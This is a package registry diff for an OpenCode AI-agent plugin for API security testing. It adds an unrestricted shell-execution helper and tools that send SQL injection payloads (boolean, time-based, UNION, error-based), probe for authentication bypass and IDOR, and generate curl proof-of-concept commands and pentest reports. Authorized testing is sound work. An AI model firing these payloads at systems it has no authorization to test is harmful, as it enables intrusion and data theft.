opencode-api-security-testing 5.4.8 → 5.4.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.mjs +17 -5
- package/src/index.ts +405 -19
package/package.json
CHANGED
package/postinstall.mjs
CHANGED
|
@@ -145,13 +145,25 @@ function installPlaywright(pythonCmd) {
|
|
|
145
145
|
const pipCmd = checkPip(pythonCmd);
|
|
146
146
|
if (!pipCmd) return { success: false, error: "pip not found" };
|
|
147
147
|
|
|
148
|
-
|
|
149
|
-
|
|
148
|
+
// 安装 Playwright 包(增加超时时间)
|
|
149
|
+
const pkgResult = runCommand(`${pipCmd} install playwright`, 180000);
|
|
150
|
+
if (!pkgResult.success) {
|
|
151
|
+
console.log(` ⚠ Failed to install playwright package: ${pkgResult.error}`);
|
|
152
|
+
return { success: false, error: pkgResult.error };
|
|
153
|
+
}
|
|
154
|
+
console.log(" ✓ Playwright package installed");
|
|
150
155
|
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
156
|
+
// 安装浏览器(增加超时时间到 10 分钟)
|
|
157
|
+
console.log(" Installing Playwright browsers (chromium) - this may take several minutes...");
|
|
158
|
+
const browserResult = runCommand(`${pythonCmd} -m playwright install chromium`, 600000);
|
|
159
|
+
if (browserResult.success) {
|
|
160
|
+
console.log(" ✓ Playwright browsers installed");
|
|
161
|
+
return { success: true, error: "" };
|
|
162
|
+
}
|
|
154
163
|
|
|
164
|
+
console.log(` ⚠ Browser installation failed: ${browserResult.error}`);
|
|
165
|
+
console.log(" → browser_collect tool will have limited functionality");
|
|
166
|
+
console.log(` → Manual fix: ${pythonCmd} -m playwright install chromium`);
|
|
155
167
|
return { success: false, error: browserResult.error };
|
|
156
168
|
}
|
|
157
169
|
|
package/src/index.ts
CHANGED
|
@@ -2,7 +2,7 @@ import type { Plugin, PluginInput } from "@opencode-ai/plugin";
|
|
|
2
2
|
import { tool } from "@opencode-ai/plugin";
|
|
3
3
|
import { join, dirname } from "path";
|
|
4
4
|
import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, unlinkSync } from "fs";
|
|
5
|
-
import { exec } from "child_process";
|
|
5
|
+
import { exec, spawn } from "child_process";
|
|
6
6
|
import { promisify } from "util";
|
|
7
7
|
|
|
8
8
|
const execAsync = promisify(exec);
|
|
@@ -610,24 +610,33 @@ function getInjectedAgentsPrompt(): string {
|
|
|
610
610
|
}
|
|
611
611
|
|
|
612
612
|
async function execShell(_ctx: unknown, cmd: string): Promise<string> {
|
|
613
|
-
|
|
614
|
-
const
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
|
|
613
|
+
return new Promise((resolve) => {
|
|
614
|
+
const isWindows = process.platform === "win32";
|
|
615
|
+
const shell = isWindows ? "powershell.exe" : "/bin/bash";
|
|
616
|
+
const args = isWindows ? ["-NoProfile", "-Command", cmd] : ["-c", cmd];
|
|
617
|
+
|
|
618
|
+
const proc = spawn(shell, args, {
|
|
619
|
+
timeout: 120000,
|
|
618
620
|
});
|
|
619
|
-
|
|
620
|
-
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
|
|
621
|
+
|
|
622
|
+
let stdout = "";
|
|
623
|
+
let stderr = "";
|
|
624
|
+
|
|
625
|
+
proc.stdout.on("data", (data) => { stdout += data; });
|
|
626
|
+
proc.stderr.on("data", (data) => { stderr += data; });
|
|
627
|
+
|
|
628
|
+
proc.on("close", (code) => {
|
|
629
|
+
if (code === 0 || stdout) {
|
|
630
|
+
resolve(stdout || stderr);
|
|
631
|
+
} else {
|
|
632
|
+
resolve(`Error (exit ${code}): ${stderr || "Unknown error"}`);
|
|
633
|
+
}
|
|
634
|
+
});
|
|
635
|
+
|
|
636
|
+
proc.on("error", (err) => {
|
|
637
|
+
resolve(`Error: ${err.message}`);
|
|
638
|
+
});
|
|
639
|
+
});
|
|
631
640
|
}
|
|
632
641
|
|
|
633
642
|
function getFailureCount(sessionID: string): number {
|
|
@@ -1267,7 +1276,7 @@ print(json.dumps(result, ensure_ascii=False))
|
|
|
1267
1276
|
total: scanTasks.size,
|
|
1268
1277
|
filtered: tasks.length,
|
|
1269
1278
|
tasks: tasks.map(t => ({
|
|
1270
|
-
|
|
1279
|
+
task_id: t.id,
|
|
1271
1280
|
status: t.status,
|
|
1272
1281
|
type: t.type,
|
|
1273
1282
|
target: t.target,
|
|
@@ -1279,6 +1288,383 @@ print(json.dumps(result, ensure_ascii=False))
|
|
|
1279
1288
|
},
|
|
1280
1289
|
}),
|
|
1281
1290
|
|
|
1291
|
+
// ========================================
|
|
1292
|
+
// 渗透测试增强工具
|
|
1293
|
+
// ========================================
|
|
1294
|
+
|
|
1295
|
+
// 批量端点测试
|
|
1296
|
+
endpoint_batch_test: tool({
|
|
1297
|
+
description: "批量测试多个 API 端点。参数: base_url(基础URL), endpoints(端点列表), methods(HTTP方法列表)",
|
|
1298
|
+
args: {
|
|
1299
|
+
base_url: tool.schema.string(),
|
|
1300
|
+
endpoints: tool.schema.array(tool.schema.string()),
|
|
1301
|
+
methods: tool.schema.array(tool.schema.enum(["GET", "POST", "PUT", "DELETE"])).optional(),
|
|
1302
|
+
headers: tool.schema.record(tool.schema.string()).optional(),
|
|
1303
|
+
},
|
|
1304
|
+
async execute(args) {
|
|
1305
|
+
const results: Array<{
|
|
1306
|
+
endpoint: string;
|
|
1307
|
+
method: string;
|
|
1308
|
+
status: number;
|
|
1309
|
+
response_time: number;
|
|
1310
|
+
auth_required: boolean;
|
|
1311
|
+
content_length: number;
|
|
1312
|
+
error?: string;
|
|
1313
|
+
}> = [];
|
|
1314
|
+
|
|
1315
|
+
const baseUrl = args.base_url.replace(/\/$/, "");
|
|
1316
|
+
const methods = args.methods || ["GET"];
|
|
1317
|
+
const headers = args.headers || {};
|
|
1318
|
+
|
|
1319
|
+
for (const endpoint of args.endpoints) {
|
|
1320
|
+
for (const method of methods) {
|
|
1321
|
+
const startTime = Date.now();
|
|
1322
|
+
try {
|
|
1323
|
+
const url = method === "GET"
|
|
1324
|
+
? `${baseUrl}${endpoint}`
|
|
1325
|
+
: baseUrl;
|
|
1326
|
+
|
|
1327
|
+
const fetchOptions: RequestInit = {
|
|
1328
|
+
method,
|
|
1329
|
+
headers: { "Content-Type": "application/json", ...headers },
|
|
1330
|
+
};
|
|
1331
|
+
|
|
1332
|
+
if (["POST", "PUT", "PATCH"].includes(method)) {
|
|
1333
|
+
fetchOptions.body = JSON.stringify({});
|
|
1334
|
+
}
|
|
1335
|
+
|
|
1336
|
+
const response = await fetch(url, fetchOptions);
|
|
1337
|
+
const responseTime = Date.now() - startTime;
|
|
1338
|
+
const contentLength = parseInt(response.headers.get("content-length") || "0");
|
|
1339
|
+
|
|
1340
|
+
results.push({
|
|
1341
|
+
endpoint,
|
|
1342
|
+
method,
|
|
1343
|
+
status: response.status,
|
|
1344
|
+
response_time: responseTime,
|
|
1345
|
+
auth_required: response.status === 401 || response.status === 403,
|
|
1346
|
+
content_length: contentLength,
|
|
1347
|
+
});
|
|
1348
|
+
} catch (error) {
|
|
1349
|
+
results.push({
|
|
1350
|
+
endpoint,
|
|
1351
|
+
method,
|
|
1352
|
+
status: 0,
|
|
1353
|
+
response_time: Date.now() - startTime,
|
|
1354
|
+
auth_required: false,
|
|
1355
|
+
content_length: 0,
|
|
1356
|
+
error: String(error),
|
|
1357
|
+
});
|
|
1358
|
+
}
|
|
1359
|
+
}
|
|
1360
|
+
}
|
|
1361
|
+
|
|
1362
|
+
// 生成摘要
|
|
1363
|
+
const summary = {
|
|
1364
|
+
total: results.length,
|
|
1365
|
+
success: results.filter(r => r.status >= 200 && r.status < 300).length,
|
|
1366
|
+
auth_required: results.filter(r => r.auth_required).length,
|
|
1367
|
+
client_errors: results.filter(r => r.status >= 400 && r.status < 500).length,
|
|
1368
|
+
server_errors: results.filter(r => r.status >= 500).length,
|
|
1369
|
+
};
|
|
1370
|
+
|
|
1371
|
+
return JSON.stringify({ summary, results }, null, 2);
|
|
1372
|
+
},
|
|
1373
|
+
}),
|
|
1374
|
+
|
|
1375
|
+
// SQL 注入深度测试
|
|
1376
|
+
sql_injection_test: tool({
|
|
1377
|
+
description: "SQL 注入漏洞深度测试。参数: endpoint(端点URL), params(参数列表), method(HTTP方法), payload_type(注入类型)",
|
|
1378
|
+
args: {
|
|
1379
|
+
endpoint: tool.schema.string(),
|
|
1380
|
+
params: tool.schema.array(tool.schema.string()),
|
|
1381
|
+
method: tool.schema.enum(["GET", "POST"]).optional(),
|
|
1382
|
+
payload_type: tool.schema.enum(["basic", "time_based", "union", "error_based"]).optional(),
|
|
1383
|
+
},
|
|
1384
|
+
async execute(args) {
|
|
1385
|
+
const payloads: Record<string, string[]> = {
|
|
1386
|
+
basic: [
|
|
1387
|
+
"' OR '1'='1",
|
|
1388
|
+
"1' OR '1'='1'--",
|
|
1389
|
+
"1' OR '1'='1'/*",
|
|
1390
|
+
"admin'--",
|
|
1391
|
+
"' OR 1=1--",
|
|
1392
|
+
],
|
|
1393
|
+
time_based: [
|
|
1394
|
+
"1'; WAITFOR DELAY '0:0:3'--",
|
|
1395
|
+
"1' AND SLEEP(3)--",
|
|
1396
|
+
"1' AND (SELECT * FROM (SELECT(SLEEP(3)))a)--",
|
|
1397
|
+
],
|
|
1398
|
+
union: [
|
|
1399
|
+
"1' UNION SELECT NULL--",
|
|
1400
|
+
"1' UNION SELECT NULL,NULL--",
|
|
1401
|
+
"1' UNION SELECT NULL,NULL,NULL--",
|
|
1402
|
+
],
|
|
1403
|
+
error_based: [
|
|
1404
|
+
"1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
|
|
1405
|
+
"1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
|
|
1406
|
+
],
|
|
1407
|
+
};
|
|
1408
|
+
|
|
1409
|
+
const results: Array<{
|
|
1410
|
+
param: string;
|
|
1411
|
+
payload: string;
|
|
1412
|
+
vulnerable: boolean;
|
|
1413
|
+
evidence: string;
|
|
1414
|
+
response_time?: number;
|
|
1415
|
+
}> = [];
|
|
1416
|
+
|
|
1417
|
+
const method = args.method || "POST";
|
|
1418
|
+
const payloadType = args.payload_type || "basic";
|
|
1419
|
+
const testPayloads = payloads[payloadType];
|
|
1420
|
+
|
|
1421
|
+
for (const param of args.params) {
|
|
1422
|
+
for (const payload of testPayloads) {
|
|
1423
|
+
const startTime = Date.now();
|
|
1424
|
+
try {
|
|
1425
|
+
const url = method === "GET"
|
|
1426
|
+
? `${args.endpoint}?${param}=${encodeURIComponent(payload)}`
|
|
1427
|
+
: args.endpoint;
|
|
1428
|
+
|
|
1429
|
+
const body = method === "POST"
|
|
1430
|
+
? JSON.stringify({ [param]: payload })
|
|
1431
|
+
: undefined;
|
|
1432
|
+
|
|
1433
|
+
const response = await fetch(url, {
|
|
1434
|
+
method,
|
|
1435
|
+
headers: { "Content-Type": "application/json" },
|
|
1436
|
+
body,
|
|
1437
|
+
});
|
|
1438
|
+
|
|
1439
|
+
const responseText = await response.text();
|
|
1440
|
+
const responseTime = Date.now() - startTime;
|
|
1441
|
+
|
|
1442
|
+
// 检测 SQL 注入指标
|
|
1443
|
+
const indicators = [
|
|
1444
|
+
responseText.toLowerCase().includes("sql syntax"),
|
|
1445
|
+
responseText.toLowerCase().includes("mysql_fetch"),
|
|
1446
|
+
responseText.toLowerCase().includes("ora-"),
|
|
1447
|
+
responseText.toLowerCase().includes("unclosed quotation"),
|
|
1448
|
+
responseText.toLowerCase().includes("quoted string not properly terminated"),
|
|
1449
|
+
responseTime > 3000 && payloadType === "time_based",
|
|
1450
|
+
];
|
|
1451
|
+
|
|
1452
|
+
const vulnerable = indicators.some(Boolean);
|
|
1453
|
+
|
|
1454
|
+
results.push({
|
|
1455
|
+
param,
|
|
1456
|
+
payload,
|
|
1457
|
+
vulnerable,
|
|
1458
|
+
evidence: vulnerable ? responseText.substring(0, 200) : "",
|
|
1459
|
+
response_time: responseTime,
|
|
1460
|
+
});
|
|
1461
|
+
} catch (error) {
|
|
1462
|
+
results.push({
|
|
1463
|
+
param,
|
|
1464
|
+
payload,
|
|
1465
|
+
vulnerable: false,
|
|
1466
|
+
evidence: `Error: ${error}`,
|
|
1467
|
+
});
|
|
1468
|
+
}
|
|
1469
|
+
}
|
|
1470
|
+
}
|
|
1471
|
+
|
|
1472
|
+
const vulnerableParams = results.filter(r => r.vulnerable);
|
|
1473
|
+
|
|
1474
|
+
return JSON.stringify({
|
|
1475
|
+
summary: {
|
|
1476
|
+
tested_params: args.params.length,
|
|
1477
|
+
total_payloads: testPayloads.length,
|
|
1478
|
+
vulnerable_count: vulnerableParams.length,
|
|
1479
|
+
risk_level: vulnerableParams.length > 0 ? "HIGH" : "LOW",
|
|
1480
|
+
},
|
|
1481
|
+
vulnerable: vulnerableParams,
|
|
1482
|
+
all_results: results,
|
|
1483
|
+
poc: vulnerableParams.length > 0
|
|
1484
|
+
? `curl -X ${method} "${args.endpoint}" ${method === "POST" ? `-H "Content-Type: application/json" -d '{"${vulnerableParams[0].param}": "${vulnerableParams[0].payload}"}'` : ""}`
|
|
1485
|
+
: null,
|
|
1486
|
+
}, null, 2);
|
|
1487
|
+
},
|
|
1488
|
+
}),
|
|
1489
|
+
|
|
1490
|
+
// 认证绕过测试
|
|
1491
|
+
auth_bypass_test: tool({
|
|
1492
|
+
description: "认证绕过漏洞测试。参数: endpoint(端点URL), auth_type(认证类型), token(可选)",
|
|
1493
|
+
args: {
|
|
1494
|
+
endpoint: tool.schema.string(),
|
|
1495
|
+
auth_type: tool.schema.enum(["jwt", "session", "basic", "api_key", "oauth"]).optional(),
|
|
1496
|
+
token: tool.schema.string().optional(),
|
|
1497
|
+
},
|
|
1498
|
+
async execute(args) {
|
|
1499
|
+
const results: Array<{
|
|
1500
|
+
test_name: string;
|
|
1501
|
+
success: boolean;
|
|
1502
|
+
evidence: string;
|
|
1503
|
+
}> = [];
|
|
1504
|
+
|
|
1505
|
+
// 1. 无认证测试
|
|
1506
|
+
const noAuthResponse = await fetch(args.endpoint);
|
|
1507
|
+
results.push({
|
|
1508
|
+
test_name: "无认证访问",
|
|
1509
|
+
success: noAuthResponse.status === 200,
|
|
1510
|
+
evidence: `Status: ${noAuthResponse.status}`,
|
|
1511
|
+
});
|
|
1512
|
+
|
|
1513
|
+
// 2. 空令牌测试
|
|
1514
|
+
const emptyTokenResponse = await fetch(args.endpoint, {
|
|
1515
|
+
headers: {
|
|
1516
|
+
"Authorization": "Bearer ",
|
|
1517
|
+
"X-API-Key": "",
|
|
1518
|
+
},
|
|
1519
|
+
});
|
|
1520
|
+
results.push({
|
|
1521
|
+
test_name: "空令牌测试",
|
|
1522
|
+
success: emptyTokenResponse.status === 200,
|
|
1523
|
+
evidence: `Status: ${emptyTokenResponse.status}`,
|
|
1524
|
+
});
|
|
1525
|
+
|
|
1526
|
+
// 3. IDOR 测试 (递增 ID)
|
|
1527
|
+
for (let i = 1; i <= 5; i++) {
|
|
1528
|
+
const idorUrl = `${args.endpoint.replace(/\/$/, "")}?userId=${i}&id=${i}`;
|
|
1529
|
+
try {
|
|
1530
|
+
const idorResponse = await fetch(idorUrl);
|
|
1531
|
+
if (idorResponse.status === 200) {
|
|
1532
|
+
results.push({
|
|
1533
|
+
test_name: `IDOR 测试 (id=${i})`,
|
|
1534
|
+
success: true,
|
|
1535
|
+
evidence: `可访问其他用户数据: ${idorUrl}`,
|
|
1536
|
+
});
|
|
1537
|
+
break;
|
|
1538
|
+
}
|
|
1539
|
+
} catch (e) {
|
|
1540
|
+
// Ignore errors
|
|
1541
|
+
}
|
|
1542
|
+
}
|
|
1543
|
+
|
|
1544
|
+
// 4. 方法覆盖测试
|
|
1545
|
+
const methods = ["PUT", "PATCH", "DELETE"];
|
|
1546
|
+
for (const method of methods) {
|
|
1547
|
+
try {
|
|
1548
|
+
const methodResponse = await fetch(args.endpoint, {
|
|
1549
|
+
method,
|
|
1550
|
+
headers: { "Content-Type": "application/json" },
|
|
1551
|
+
});
|
|
1552
|
+
if (methodResponse.status === 200) {
|
|
1553
|
+
results.push({
|
|
1554
|
+
test_name: `方法覆盖测试 (${method})`,
|
|
1555
|
+
success: true,
|
|
1556
|
+
evidence: `允许 ${method} 方法访问`,
|
|
1557
|
+
});
|
|
1558
|
+
}
|
|
1559
|
+
} catch (e) {
|
|
1560
|
+
// Ignore errors
|
|
1561
|
+
}
|
|
1562
|
+
}
|
|
1563
|
+
|
|
1564
|
+
const bypassFound = results.filter(r => r.success);
|
|
1565
|
+
|
|
1566
|
+
return JSON.stringify({
|
|
1567
|
+
summary: {
|
|
1568
|
+
total_tests: results.length,
|
|
1569
|
+
bypass_found: bypassFound.length,
|
|
1570
|
+
risk_level: bypassFound.length > 0 ? "HIGH" : "LOW",
|
|
1571
|
+
},
|
|
1572
|
+
results,
|
|
1573
|
+
recommendations: bypassFound.length > 0
|
|
1574
|
+
? ["实施严格的认证检查", "验证所有用户输入", "使用 CSRF Token"]
|
|
1575
|
+
: ["认证机制正常"],
|
|
1576
|
+
}, null, 2);
|
|
1577
|
+
},
|
|
1578
|
+
}),
|
|
1579
|
+
|
|
1580
|
+
// 专业渗透测试报告生成
|
|
1581
|
+
generate_pentest_report: tool({
|
|
1582
|
+
description: "生成专业的渗透测试报告。参数: target(目标), findings(发现列表), test_date(日期), tester(测试人员)",
|
|
1583
|
+
args: {
|
|
1584
|
+
target: tool.schema.string(),
|
|
1585
|
+
findings: tool.schema.array(tool.schema.object({
|
|
1586
|
+
title: tool.schema.string(),
|
|
1587
|
+
severity: tool.schema.enum(["Critical", "High", "Medium", "Low", "Info"]),
|
|
1588
|
+
description: tool.schema.string(),
|
|
1589
|
+
evidence: tool.schema.string(),
|
|
1590
|
+
poc: tool.schema.string(),
|
|
1591
|
+
remediation: tool.schema.string(),
|
|
1592
|
+
})),
|
|
1593
|
+
test_date: tool.schema.string().optional(),
|
|
1594
|
+
tester: tool.schema.string().optional(),
|
|
1595
|
+
},
|
|
1596
|
+
async execute(args) {
|
|
1597
|
+
const criticalCount = args.findings.filter(f => f.severity === "Critical").length;
|
|
1598
|
+
const highCount = args.findings.filter(f => f.severity === "High").length;
|
|
1599
|
+
const mediumCount = args.findings.filter(f => f.severity === "Medium").length;
|
|
1600
|
+
const lowCount = args.findings.filter(f => f.severity === "Low").length;
|
|
1601
|
+
const infoCount = args.findings.filter(f => f.severity === "Info").length;
|
|
1602
|
+
|
|
1603
|
+
const riskScore = (criticalCount * 10) + (highCount * 5) + (mediumCount * 2);
|
|
1604
|
+
const overallRisk = riskScore >= 20 ? "严重" : riskScore >= 10 ? "高" : riskScore >= 5 ? "中" : "低";
|
|
1605
|
+
|
|
1606
|
+
const report = `# 渗透测试报告
|
|
1607
|
+
|
|
1608
|
+
## 1. 执行摘要
|
|
1609
|
+
|
|
1610
|
+
| 项目 | 内容 |
|
|
1611
|
+
|------|------|
|
|
1612
|
+
| **目标** | ${args.target} |
|
|
1613
|
+
| **测试日期** | ${args.test_date || new Date().toISOString().split('T')[0]} |
|
|
1614
|
+
| **测试人员** | ${args.tester || "安全测试团队"} |
|
|
1615
|
+
| **整体风险** | ${overallRisk} |
|
|
1616
|
+
| **风险评分** | ${riskScore}/100 |
|
|
1617
|
+
|
|
1618
|
+
### 漏洞统计
|
|
1619
|
+
| 严重程度 | 数量 |
|
|
1620
|
+
|---------|------|
|
|
1621
|
+
| 🔴 Critical | ${criticalCount} |
|
|
1622
|
+
| 🟠 High | ${highCount} |
|
|
1623
|
+
| 🟡 Medium | ${mediumCount} |
|
|
1624
|
+
| 🟢 Low | ${lowCount} |
|
|
1625
|
+
| ℹ️ Info | ${infoCount} |
|
|
1626
|
+
|
|
1627
|
+
## 2. 漏洞详情
|
|
1628
|
+
|
|
1629
|
+
${args.findings.map((f, i) => `
|
|
1630
|
+
### 2.${i + 1} ${f.title}
|
|
1631
|
+
|
|
1632
|
+
| 属性 | 值 |
|
|
1633
|
+
|------|------|
|
|
1634
|
+
| **严重程度** | ${f.severity} |
|
|
1635
|
+
| **描述** | ${f.description} |
|
|
1636
|
+
|
|
1637
|
+
#### 证据
|
|
1638
|
+
\`\`\`
|
|
1639
|
+
${f.evidence}
|
|
1640
|
+
\`\`\`
|
|
1641
|
+
|
|
1642
|
+
#### PoC (概念验证)
|
|
1643
|
+
\`\`\`bash
|
|
1644
|
+
${f.poc}
|
|
1645
|
+
\`\`\`
|
|
1646
|
+
|
|
1647
|
+
#### 修复建议
|
|
1648
|
+
${f.remediation}
|
|
1649
|
+
`).join("\n")}
|
|
1650
|
+
|
|
1651
|
+
## 3. 修复优先级
|
|
1652
|
+
|
|
1653
|
+
1. **立即修复**: ${criticalCount > 0 ? `${criticalCount} 个严重漏洞` : "无"}
|
|
1654
|
+
2. **尽快修复**: ${highCount > 0 ? `${highCount} 个高危漏洞` : "无"}
|
|
1655
|
+
3. **计划修复**: ${mediumCount > 0 ? `${mediumCount} 个中危漏洞` : "无"}
|
|
1656
|
+
|
|
1657
|
+
## 4. 免责声明
|
|
1658
|
+
|
|
1659
|
+
本报告仅供授权方参考,测试过程中未进行任何破坏性操作。
|
|
1660
|
+
`;
|
|
1661
|
+
|
|
1662
|
+
return report;
|
|
1663
|
+
},
|
|
1664
|
+
}),
|
|
1665
|
+
|
|
1666
|
+
// ========================================
|
|
1667
|
+
// OpenCode 原生集成工具
|
|
1282
1668
|
// ========================================
|
|
1283
1669
|
// OpenCode 原生集成工具
|
|
1284
1670
|
// ========================================
|